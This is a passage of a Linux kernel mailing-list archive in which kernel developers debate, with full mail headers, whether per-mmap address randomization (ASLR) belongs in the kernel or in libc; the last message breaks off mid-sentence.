Original-Received: from imap.thunk.org ([74.207.234.97]:35412 "EHLO imap.thunk.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751913AbeC0WQt (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 27 Mar 2018 18:16:49 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=thunk.org;
         s=ef5046eb; h=In-Reply-To:Content-Transfer-Encoding:Content-Type:
        MIME-Version:References:Message-ID:Subject:Cc:To:From:Date:Sender:Reply-To:
        Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender:
        Resent-To:Resent-Cc:Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:
        List-Subscribe:List-Post:List-Owner:List-Archive;
        bh=Qj2I7BshdUHsbFfEKXQ0bFfkdiDTRJGc48sJd/7D8gQ=; b=btEd/5pMdHT1reg7t3RBaUE+uy
        /Bdw3z7jY7XeWJoswHfXhWDplC89IpsQG/vDQ6v1dDJtSejjuTff8lZCXoolBOru0ZDECFa4i2Sel
        +sLj1kXCx8bmRRzTvzjDMJZe+nV+SxziLAYDIYo7YWW9gxNtak2ZhetNJJWJVDEUw5as=;
Original-Received: from root (helo=callcc.thunk.org)
        by imap.thunk.org with local-esmtp (Exim 4.89)
        (envelope-from <tytso@thunk.org>)
        id 1f0wtY-0006Ts-Cm; Tue, 27 Mar 2018 22:16:45 +0000
Original-Received: by callcc.thunk.org (Postfix, from userid 15806)
        id 980CD7A0158; Tue, 27 Mar 2018 18:16:35 -0400 (EDT)
Mail-Followup-To: "Theodore Y. Ts'o" <tytso@mit.edu>,
        Ilya Smith <blackzert@gmail.com>, Michal Hocko <mhocko@kernel.org>,
        Matthew Wilcox <willy@infradead.org>, rth@twiddle.net,
        ink@jurassic.park.msu.ru, mattst88@gmail.com, vgupta@synopsys.com,
        linux@armlinux.org.uk, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, jejb@parisc-linux.org,
        Helge Deller <deller@gmx.de>, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, nyc@holomorphy.com,
        viro@zeniv.linux.org.uk, arnd@arndb.de, gregkh@linuxfoundation.org,
        deepa.kernel@gmail.com, Hugh Dickins <hughd@google.com>,
        kstewart@linuxfou 
Content-Disposition: inline
In-Reply-To: <0549F29C-12FC-4401-9E85-A430BC11DA78@gmail.com>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: tytso@thunk.org
X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2727005 gmane.linux.ports.alpha:4880 gmane.linux.kernel.arc:3678 gmane.linux.ports.ia64:28750 gmane.linux.kernel.metag:1721 gmane.linux.ports.mips.general:64240 gmane.linux.ports.parisc:28421 gmane.linux.ports.ppc64.devel:155288 gmane.linux.ports.sh.devel:56741 gmane.linux.ports.sparc:27486 gmane.linux.kernel.mm:192448
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2727005>

On Tue, Mar 27, 2018 at 04:51:08PM +0300, Ilya Smith wrote:
> > /dev/[u]random is not sufficient?
> 
> Using /dev/[u]random makes 3 syscalls - open, read, close. This is a performance
> issue.

You may want to take a look at the getrandom(2) system call, which is
the recommended way getting secure random numbers from the kernel.

> > Well, I am pretty sure userspace can implement proper free ranges
> > tracking…
> 
> I think we need to know what libc developers will say on implementing ASLR in 
> user-mode. I am pretty sure they will say ‘nether’ or ‘some-day’. And problem 
> of ASLR will stay forever.

Why can't you send patches to the libc developers?

Regards,

						- Ted


From - Thu Nov 08 21:41:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Tue, 27 Mar 2018 15:53:53 -0700
Lines: 51
Approved: news@gmane.org
Message-ID: <CAGXu5j+XXufprMaJ9GbHxD3mZ7iqUuu60-tTMC6wo2x1puYzMQ@mail.gmail.com>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <651E0DB6-4507-4DA1-AD46-9C26ED9792A8@gmail.com>
 <20180326084650.GC5652@dhcp22.suse.cz>
 <01A133F4-27DF-4AE2-80D6-B0368BF758CD@gmail.com>
 <20180327072432.GY5652@dhcp22.suse.cz>
 <0549F29C-12FC-4401-9E85-A430BC11DA78@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1522191134 21434 195.159.176.226 (27 Mar 2018 22:52:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 27 Mar 2018 22:52:14 +0000 (UTC)
Cc: Kate Stewart <kstewart@linuxfoundation.org>,
 Linux MIPS Mailing List <linux-mips@linux-mips.org>,
 Rich Felker <dalias@libc.org>, Jan Kara <jack@suse.cz>,
 linux-sh <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Bhupesh Sharma <bhsharma@redhat.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Michal Hocko <mhocko@kernel.org>,
 Linux-MM <linux-mm@kvack.org>, Paul Mackerras <paulus@samba.org>,
 Deepa Dinamani <deepa.kernel@gmail.com>, "H. Peter Anvin" <hpa@zytor.com>,
 sparclinux <sparclinux@vger.kernel.org>, linux-ia64@vger.kernel.org,
 Dan Williams <dan.j.williams@intel.com>,
 Andrea Arcangeli <aarcange@redhat.com>,
 linux-s390 <linux-s390@vger.kernel.org>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 X86 ML <x86@kernel.org>, Hugh Dickins <hughd@google.com>,
 Russell King <linu
To: Ilya Smith <blackzert@gmail.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Mar 28 00:52:05 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f0xRk-0005Jt-10
	for gla-linux-snps-arc@m.gmane.org; Wed, 28 Mar 2018 00:52:04 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:To:Subject:Message-ID:Date:From:
	References:In-Reply-To:MIME-Version:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=VweLvjnQ3ZgUgcFUVqe9pJk73KZr8dMOnZiso2XtKZc=; b=tXBs6xgHGho4Bb
	fx4A0mPLhUF5t0BLbBPI9Td2QSr3/2tkI6FyLmj3fI8jlFf2Fmcrq6FPcnGRYZB/RbsA0yOw9LcDB
	ARV1T/LuZh8quT4jxzpLu4DO22N4dW85TmkbQI4mGrppQPi0PD1Nxiqsyei679ISNDP6e27EMinY5
	Mt0ofSpRrz77MmaDL/UbxkVLPGDdQ/C01N/0NYep5EZZTLa7FjmseYqHiKLpEJ3nepI7exwBowzjr
	s8q/ry/Dl2uC2N+ikIqMzNt1EJqhYj4r+L+iLKAflwEDmm1AifQ2FX9iSFdAAzfuMMVy0HEAJd440
	FsZcUcJkZT31d7muDrlw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f0xTk-0001Zb-7r; Tue, 27 Mar 2018 22:54:08 +0000
Original-Received: from mail-ua0-x241.google.com ([2607:f8b0:400c:c08::241])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f0xTh-0001Vh-P3
 for linux-snps-arc@lists.infradead.org; Tue, 27 Mar 2018 22:54:07 +0000
Original-Received: by mail-ua0-x241.google.com with SMTP id j18so345616uae.12
 for <linux-snps-arc@lists.infradead.org>; Tue, 27 Mar 2018 15:53:55 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20161025;
 h=mime-version:sender:in-reply-to:references:from:date:message-id
 :subject:to:cc:content-transfer-encoding;
 bh=loyG69wHNKT9MD8vZID5AEtRxaGQKi0SO0iiz6eKOM8=;
 b=tVNFiWDGPzaBpGtLqtV67gyo2BOUAkOZTT3EDcPKPeTNVIQUi497/yBANLWkUNp0fn
 U9swGI96r/D3v3WDraDrrEHiAY30KXnI3qBml5JnRimZwIeRgYrSGmxqJeuRxAaf9Y8r
 oR2POJS1zgVRgMpQY4VPyDODefQaSL3PySfUxRXcfEVPdGX+Fv2yqtGbNHz42irNt1g7
 /256RR9tJlhuAoMfyrU3a7PHexQNCSrI8Kraos6PMIBaU0nj7nTA55O4HqcNSvhpetJX
 /81RECXXR22W/EoWZnm5knUo6vDl4rw2CdUU9mKwi2Nk2hJ8fbrdhZ8xp0MlVS0gBSIr
 w7Wg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=chromium.org; s=google;
 h=mime-version:sender:in-reply-to:references:from:date:message-id
 :subject:to:cc:content-transfer-encoding;
 bh=loyG69wHNKT9MD8vZID5AEtRxaGQKi0SO0iiz6eKOM8=;
 b=XXmu9+lJ0RL1minH7B9fQIiiBszZ35//aonmzw4oBnSqfyQyWAzLfb5kefa/oGYyhd
 m0ebDlqD3Dar5NpQ2N56ExxAxA8lTomzZheJYtAU4qwBk7IbVcYqfy5jNzjp2P+CjJAm
 k1SZGTJjR/F5FuYhR9u9obcI/1/2qfSbYAjIo=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
 :date:message-id:subject:to:cc:content-transfer-encoding;
 bh=loyG69wHNKT9MD8vZID5AEtRxaGQKi0SO0iiz6eKOM8=;
 b=Z3/xKmo/bMYjsmKD2JFmpTjWLroR/HGfBz5VAHIb4Ngx/xJ1K03NWb1Llt5SiCzh4R
 4qVL+hEkrV0AhvmFaDxHEfu+CmUZi6fkEN7dlQZnUted/JtyD1zA2I/V5bUEXcAXvJvK
 0TqymbBcM1QcBYw5iRPR+rGmh6g4Xu/1+ONEUqXMLeY0tKpiHgS7uXAjd8gurl1ojkp7
 CPCbgNSHd0zHFlvkDyhutjBAtMBMjxn7+txGC0WuJFWAjWgfrB4qEfBOEsW+9pXnXXhl
 C4uycOt4G1+Vykp8qNcodmPQ07KdrhKqq7ZaDtYWRd7XzVPI2u1c3uGc/iSNuOg30f2F
 +eKA==
X-Gm-Message-State: AElRT7GCYBavDzBwbpUA7iP1ybTIDgdSqzoHCKWmeYGYAlLS3or48J9k
 RWMhGuknmgRzo80AnVPlME4EI4oJ9qX10d5JRbs5lA==
X-Google-Smtp-Source: AIpwx48PouASi+w3BYcLP4/4o2LBBa/BfdVGLPQILdIObxTm8V8k4beuyDA0Li8ZjcITo8QX4kLWHI62B5oMBhWckAg=
X-Received: by 10.176.78.167 with SMTP id l39mr993711uah.193.1522191234013;
 Tue, 27 Mar 2018 15:53:54 -0700 (PDT)
Original-Received: by 10.31.129.9 with HTTP; Tue, 27 Mar 2018 15:53:53 -0700 (PDT)
In-Reply-To: <0549F29C-12FC-4401-9E85-A430BC11DA78@gmail.com>
X-Google-Sender-Auth: KTa7gMG05ILwOGyzGGVHG1c1Zfk
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180327_155405_840131_3C696D5C 
X-CRM114-Status: GOOD (  17.56  )
X-Spam-Score: 0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
 domains are different
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:400c:c08:0:0:0:241 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3679 gmane.linux.ports.mips.general:64241 gmane.linux.ports.sh.devel:56742 gmane.linux.kernel.mm:192449 gmane.linux.ports.sparc:27487 gmane.linux.ports.ia64:28751 gmane.linux.ports.alpha:4881 gmane.linux.ports.parisc:28422 gmane.linux.kernel:2727028 gmane.linux.kernel.metag:1722 gmane.linux.ports.ppc64.devel:155290
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3679>

T24gVHVlLCBNYXIgMjcsIDIwMTggYXQgNjo1MSBBTSwgSWx5YSBTbWl0aCA8YmxhY2t6ZXJ0QGdt
YWlsLmNvbT4gd3JvdGU6Cj4KPj4gT24gMjcgTWFyIDIwMTgsIGF0IDEwOjI0LCBNaWNoYWwgSG9j
a28gPG1ob2Nrb0BrZXJuZWwub3JnPiB3cm90ZToKPj4KPj4gT24gTW9uIDI2LTAzLTE4IDIyOjQ1
OjMxLCBJbHlhIFNtaXRoIHdyb3RlOgo+Pj4KPj4+PiBPbiAyNiBNYXIgMjAxOCwgYXQgMTE6NDYs
IE1pY2hhbCBIb2NrbyA8bWhvY2tvQGtlcm5lbC5vcmc+IHdyb3RlOgo+Pj4+Cj4+Pj4gT24gRnJp
IDIzLTAzLTE4IDIwOjU1OjQ5LCBJbHlhIFNtaXRoIHdyb3RlOgo+Pj4+Pgo+Pj4+Pj4gT24gMjMg
TWFyIDIwMTgsIGF0IDE1OjQ4LCBNYXR0aGV3IFdpbGNveCA8d2lsbHlAaW5mcmFkZWFkLm9yZz4g
d3JvdGU6Cj4+Pj4+Pgo+Pj4+Pj4gT24gVGh1LCBNYXIgMjIsIDIwMTggYXQgMDc6MzY6MzZQTSAr
MDMwMCwgSWx5YSBTbWl0aCB3cm90ZToKPj4+Pj4+PiBDdXJyZW50IGltcGxlbWVudGF0aW9uIGRv
ZXNuJ3QgcmFuZG9taXplIGFkZHJlc3MgcmV0dXJuZWQgYnkgbW1hcC4KPj4+Pj4+PiBBbGwgdGhl
IGVudHJvcHkgZW5kcyB3aXRoIGNob29zaW5nIG1tYXBfYmFzZV9hZGRyIGF0IHRoZSBwcm9jZXNz
Cj4+Pj4+Pj4gY3JlYXRpb24uIEFmdGVyIHRoYXQgbW1hcCBidWlsZCB2ZXJ5IHByZWRpY3RhYmxl
IGxheW91dCBvZiBhZGRyZXNzCj4+Pj4+Pj4gc3BhY2UuIEl0IGFsbG93cyB0byBieXBhc3MgQVNM
UiBpbiBtYW55IGNhc2VzLiBUaGlzIHBhdGNoIG1ha2UKPj4+Pj4+PiByYW5kb21pemF0aW9uIG9m
IGFkZHJlc3Mgb24gYW55IG1tYXAgY2FsbC4KPj4+Pj4+Cj4+Pj4+PiBXaHkgc2hvdWxkIHRoaXMg
YmUgZG9uZSBpbiB0aGUga2VybmVsIHJhdGhlciB0aGFuIGxpYmM/ICBsaWJjIGlzIHBlcmZlY3Rs
eQo+Pj4+Pj4gY2FwYWJsZSBvZiBzcGVjaWZ5aW5nIHJhbmRvbSBudW1iZXJzIGluIHRoZSBmaXJz
dCBhcmd1bWVudCBvZiBtbWFwLgo+Pj4+PiBXZWxsLCB0aGVyZSBpcyBmb2xsb3dpbmcgcmVhc29u
czoKPj4+Pj4gMS4gSXQgc2hvdWxkIGJlIGRvbmUgaW4gYW55IGxpYmMgaW1wbGVtZW50YXRpb24s
IHdoYXQgaXMgbm90IHBvc3NpYmxlIElNTzsKPj4+Pgo+Pj4+IElzIHRoaXMgcmVhbGx5IHNvIGhl
bHBmdWw/Cj4+Pgo+Pj4gWWVzLCBBU0xSIGlzIG9uZSBvZiB2ZXJ5IGltcG9ydGFudCBtaXRpZ2F0
aW9uIHRlY2huaXF1ZXMgd2hpY2ggYXJlIHJlYWxseSB1c2VkCj4+PiB0byBwcm90ZWN0IGFwcGxp
Y2F0aW9ucy4gSWYgdGhlcmUgaXMgbm8gQVNMUiwgaXQgaXMgdmVyeSBlYXN5IHRvIGV4cGxvaXQK
Pj4+IHZ1bG5lcmFibGUgYXBwbGljYXRpb24gYW5kIGNvbXByb21pc2UgdGhlIHN5c3RlbS4gV2Ug
Y2Fu4oCZdCBqdXN0IGZpeCBhbGwgdGhlCj4+PiB2dWxuZXJhYmlsaXRpZXMgcmlnaHQgbm93LCB0
aGF0cyB3aHkgd2UgaGF2ZSBtaXRpZ2F0aW9ucyAtIHRlY2huaXF1ZXMgd2hpY2ggYXJlCj4+PiBt
YWtlcyBleHBsb2l0YXRpb24gbW9yZSBoYXJkIG9yIGltcG9zc2libGUgaW4gc29tZSBjYXNlcy4K
Pj4+Cj4+PiBUaGF0cyB3aHkgaXQgaXMgaGVscGZ1bC4KPj4KPj4gSSBhbSBub3QgcXVlc3Rpb25p
bmcgQVNMUiBpbiBnZW5lcmFsLiBJIGFtIGFza2luZyB3aGV0aGVyIHdlIHJlYWxseSBuZWVkCj4+
IHBlciBtbWFwIEFTTFIgaW4gZ2VuZXJhbC4gSSBjYW4gaW1hZ2luZSB0aGF0IHNvbWUgZW52aXJv
bm1lbnRzIHdhbnQgdG8KPj4gcGF5IHRoZSBhZGRpdGlvbmFsIHByaWNlIGFuZCBvdGhlciBzaWRl
IGVmZmVjdHMsIGJ1dCBjb25zaWRlcmluZyB0aGlzCj4+IGNhbiBiZSBhY2hpZXZlZCBieSBsaWJj
LCB3aHkgdG8gYWRkIG1vcmUgY29kZSB0byB0aGUga2VybmVsPwo+Cj4gSSBiZWxpZXZlIHRoaXMg
aXMgdGhlIG9ubHkgb25lIHJpZ2h0IHBsYWNlIGZvciBpdC4gQWRkaW5nIHRoZXNlIDIwMCsgbGlu
ZXMgb2YKPiBjb2RlIHdlIGdpdmUgdGhpcyBmZWF0dXJlIGZvciBhbnkgdXNlciAtIG9uIGRlc2t0
b3AsIG9uIHNlcnZlciwgb24gSW9UIGRldmljZSwKPiBvbiBTQ0FEQSwgZXRjLiBCdXQgaWYgb25s
eSBnbGliYyB3aWxsIGltcGxlbWVudCDigJh1c2VyLW1vZGUtYXNscuKAmSBJb1QgYW5kIFNDQURB
Cj4gZGV2aWNlcyB3aWxsIG5ldmVyIGdldCBpdC4KCkkgYWdyZWU6IHB1c2hpbmcgdGhpcyBvZmYg
dG8gbGliYyBsZWF2ZXMgYSBsb3Qgb2YgdGhpbmdzIHVucHJvdGVjdGVkLgpJIHRoaW5rIHRoaXMg
c2hvdWxkIGxpdmUgaW4gdGhlIGtlcm5lbC4gVGhlIHF1ZXN0aW9uIEkgaGF2ZSBpcyBhYm91dApt
YWtpbmcgaXQgbWFpbnRhaW5hYmxlL3JlYWRhYmxlL2V0Yy4KClRoZSBzdGF0ZS1vZi10aGUtYXJ0
IGZvciBBU0xSIGlzIG1vdmluZyB0byBmaW5lciBncmFudWxhcml0eSAob3ZlcgpqdXN0IGJhc2Ut
YWRkcmVzcyBvZmZzZXQpLCBzbyBJJ2QgcmVhbGx5IGxpa2UgdG8gc2VlIHRoaXMgc3VwcG9ydGVk
IGluCnRoZSBrZXJuZWwuIFdlJ2xsIGJlIGdldHRpbmcgdGhlcmUgZm9yIG90aGVyIHRoaW5ncyBp
biB0aGUgZnV0dXJlLCBhbmQKSSdkIGxpa2UgdG8gaGF2ZSBhIHdvcmtpbmcgcHJvZHVjdGlvbiBl
eGFtcGxlIGZvciByZXNlYXJjaGVycyB0bwpzdHVkeSwgZXRjLgoKLUtlZXMKCi0tIApLZWVzIENv
b2sKUGl4ZWwgU2VjdXJpdHkKCl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fCmxpbnV4LXNucHMtYXJjIG1haWxpbmcgbGlzdApsaW51eC1zbnBzLWFyY0BsaXN0
cy5pbmZyYWRlYWQub3JnCmh0dHA6Ly9saXN0cy5pbmZyYWRlYWQub3JnL21haWxtYW4vbGlzdGlu
Zm8vbGludXgtc25wcy1hcmM=


From - Thu Nov 08 21:41:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Matthew Wilcox <willy@infradead.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Tue, 27 Mar 2018 16:49:04 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20180327234904.GA27734@bombadil.infradead.org>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <651E0DB6-4507-4DA1-AD46-9C26ED9792A8@gmail.com>
 <20180326084650.GC5652@dhcp22.suse.cz>
 <01A133F4-27DF-4AE2-80D6-B0368BF758CD@gmail.com>
 <20180327072432.GY5652@dhcp22.suse.cz>
 <0549F29C-12FC-4401-9E85-A430BC11DA78@gmail.com>
 <CAGXu5j+XXufprMaJ9GbHxD3mZ7iqUuu60-tTMC6wo2x1puYzMQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522194439 7433 195.159.176.226 (27 Mar 2018 23:47:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 27 Mar 2018 23:47:19 +0000 (UTC)
User-Agent: Mutt/1.9.2 (2017-12-15)
Cc: Kate Stewart <kstewart@linuxfoundation.org>,
 Linux MIPS Mailing List <linux-mips@linux-mips.org>,
 Rich Felker <dalias@libc.org>, Jan Kara <jack@suse.cz>,
 linux-sh <linux-sh@vger.kernel.org>, Ilya Smith <blackzert@gmail.com>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Bhupesh Sharma <bhsharma@redhat.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Michal Hocko <mhocko@kernel.org>,
 Linux-MM <linux-mm@kvack.org>, Paul Mackerras <paulus@samba.org>,
 Deepa Dinamani <deepa.kernel@gmail.com>, "H. Peter Anvin" <hpa@zytor.com>,
 sparclinux <sparclinux@vger.kernel.org>, linux-ia64@vger.kernel.org,
 Dan Williams <dan.j.williams@intel.com>,
 Andrea Arcangeli <aarcange@redhat.com>,
 linux-s390 <linux-s390@vger.kernel.org>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 X86 ML <x86@kernel.org>, Hugh Dickins <hugh
To: Kees Cook <keescook@chromium.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Mar 28 01:47:10 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f0yJ2-0001mT-RL
	for gla-linux-snps-arc@m.gmane.org; Wed, 28 Mar 2018 01:47:09 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=5fGeoFVVBsRxLZCqp0TMHMlfZMGdoVVGCOpzKuwYbuo=; b=Jgdt4EVS0DRa/Y
	pL7LwwA6mjNBrZz3Yj3XLAUlLkGMOYMwdbVJ9+jn+u/Gy34RqsfAUaIFa7NzZcqQxxaAg2t9rV0xT
	7TY8bo1ubcbVoc4oy6fw0e4z1oWjclbilffibCcIP7xaRwTtcISXFsy4eXe6jVpKoepf0st3WO323
	cr9+wCBEE5SvnE7hr+cAT9Jw1evyKNC31DxI8t/mGm4HLzs7q9UctYhdrEDVeHAEkpOX0GVB56mH1
	F1y06LZ07a3lSxnIG+ss4yR0IxAiQCq1jte84UK70G5R9nLINJtev+ILFNGMkDYFugOoYaQEXu6J/
	oDobh8qra+0jMSPBMxTg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f0yL5-0008Fy-SG; Tue, 27 Mar 2018 23:49:15 +0000
Original-Received: from willy by bombadil.infradead.org with local (Exim 4.90_1 #2 (Red
 Hat Linux)) id 1f0yKu-0008Ew-Iu; Tue, 27 Mar 2018 23:49:04 +0000
Content-Disposition: inline
In-Reply-To: <CAGXu5j+XXufprMaJ9GbHxD3mZ7iqUuu60-tTMC6wo2x1puYzMQ@mail.gmail.com>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3680 gmane.linux.ports.mips.general:64242 gmane.linux.ports.sh.devel:56743 gmane.linux.kernel.mm:192451 gmane.linux.ports.sparc:27488 gmane.linux.ports.ia64:28752 gmane.linux.ports.alpha:4882 gmane.linux.ports.parisc:28423 gmane.linux.kernel:2727068 gmane.linux.kernel.metag:1723 gmane.linux.ports.ppc64.devel:155292
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3680>

On Tue, Mar 27, 2018 at 03:53:53PM -0700, Kees Cook wrote:
> I agree: pushing this off to libc leaves a lot of things unprotected.
> I think this should live in the kernel. The question I have is about
> making it maintainable/readable/etc.
> 
> The state-of-the-art for ASLR is moving to finer granularity (over
> just base-address offset), so I'd really like to see this supported in
> the kernel. We'll be getting there for other things in the future, and
> I'd like to have a working production example for researchers to
> study, etc.

One thing we need is to limit the fragmentation of this approach.
Even on 64-bit systems, we can easily get into a situation where there isn't
